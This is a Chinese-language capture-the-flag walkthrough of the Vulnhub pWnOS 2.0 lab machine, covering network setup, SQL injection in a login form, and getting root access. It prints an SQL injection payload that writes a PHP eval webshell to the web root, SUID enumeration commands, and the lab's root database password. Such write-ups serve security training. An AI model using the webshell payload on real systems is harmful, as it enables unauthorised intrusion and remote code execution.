Vulnhub-PWNOS: 2.0 靶机WP

官方下载链接:

Downloadhttp://pwnos.com/files/pWnOS_v2.0.7z

Download (Mirror)https://download.vulnhub.com/pwnos/pWnOS_v2.0.7z

靶机IP配置

这个靶机由于是固定网卡,所以没法直接进行访问。开始我拿各种扫描器都不行,搞不到IP,也用了网上大部分教的去启动单用户模式,修改etc文件夹关于网卡配置的东西,都不行,他那个单用户模式的网卡没有问题。

后来才注意到官方文档里头写的:(大致意思是,该靶机为固定ip,需要手动配置vmware或virtual machine的虚拟网卡才行)

  • IP: 10.10.10.100
  • Netmask: 255.255.255.0
  • Gateway: 10.10.10.15

按照文档中的要求进行配置,如下:

然后用扫描器fscan,试着扫描这个ip,发现能正常ping通,并且正常执行扫描。

WEB端渗透:

由于上面已经进行了主机发现和端口探测,然后直接使用dirsearch探测,如下:

试了挺多方法,没有提示的情况下寻找账号密码比较难,爆破也未遂。然后到处试了几个可能的漏洞点sql注入点,最后在这个地方:

/login.php的email参数测到了一个sql注入点,包括万能密码和报错注入。但万能密码上去也没什么东西(

说句实在话,以前对sql报错注入不精,这边这个文章对原理讲的还可以updatexml函数-报错注入原理学习-CSDN博客,通过updatexml函数让XPATH语法报错,在第二个参数里头加个~或者0x7e,或者其他如#,^$符号等等即可。然后一点点手注,跟其他注入一样,可以获取到一些库表列字段等等……当然如果用sqlmap跑应该也行。

然后测试了一些数据的获取,但是没有什么有价值的数据。那尝试考虑写写shell,用sqlmap的–os-shell试了下,能注入但是无回显,还是手注吧。

由于这个报错挺。。。特殊的,直接就把网站绝对路径/var/www爆出来了,那已知绝对路径就可以尝试写写了

order by 看一下列数,看到一共要构造8列;那这边

尝试构造注入语句如下,由这篇文章的payload改了下,也没有waf拦截:SQL注入GetShell的方法(1)

payload: 2' union select 1,1,1,1,1,1,"<?php eval($_REQUEST[1]);?>",3 into outfile '/var/www/2.php'#

可以看到没什么问题,成功上传了一个shell。

这里用shell管理工具连接,我用哥斯拉配置如下:

然后试图进行提权操作,试了下sudo -l,suid提权的find / -perm -u=s -type f 2>/dev/null,没得什么结果,搜了一番后尝试mysql专属的UDF提权

Mysql之UDF提权-CSDN博客 https://blog.csdn.net/qq_44159028/article/details/121193134
先说明一下UDF提取的先决条件:

获取mysql控制权限:知道mysql用户名和密码,并且可以远程登录(即获取了mysql数据库的权限)
mysql具有写入文件的权限:mysql有写入文件的权限,即secure_file_priv的值为空。
ps:mysql提权获取到的权限大小跟运行mysql所在服务器登录的账号的权限相关,如操作系统以普通用户登录的并启动mysql,经udf提权后也只能获取到系统的普通用户权限。而使用管理员登录操作系统运行mysql,提权后获取的权限则为系统管理员权限。

也就是说 我们想要UDF提权,先得去找数据库账号密码。那这个时候先去网站的数据库配置文件找找,一般都会有想要的东西。

经过一番对文件和目录的分析,找到两个数据库配置文件,分别位于/var和/var/www下,可以分别尝试登录,或者麻烦点的话,挨个分析它们。最后是/var下的配置文件中,包含如下信息可用:

  • DEFINE (‘DB_USER’, ‘root’);
  • DEFINE (‘DB_PASSWORD’, ‘root@ISIntS’);

获取flag

但是。。。。。。。。。。。。。。

又结束了?我本来翻了半天也没翻到有用的东西,最后告诉我这套就是root的账号密码?

ssh登录root:

感觉能练一点手但不多啊 本来以为要提权什么的……

再打个几套换难点的靶场写吧,别的大师傅推荐vulnyx,弄完这边几套稍难点的就去试试。

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注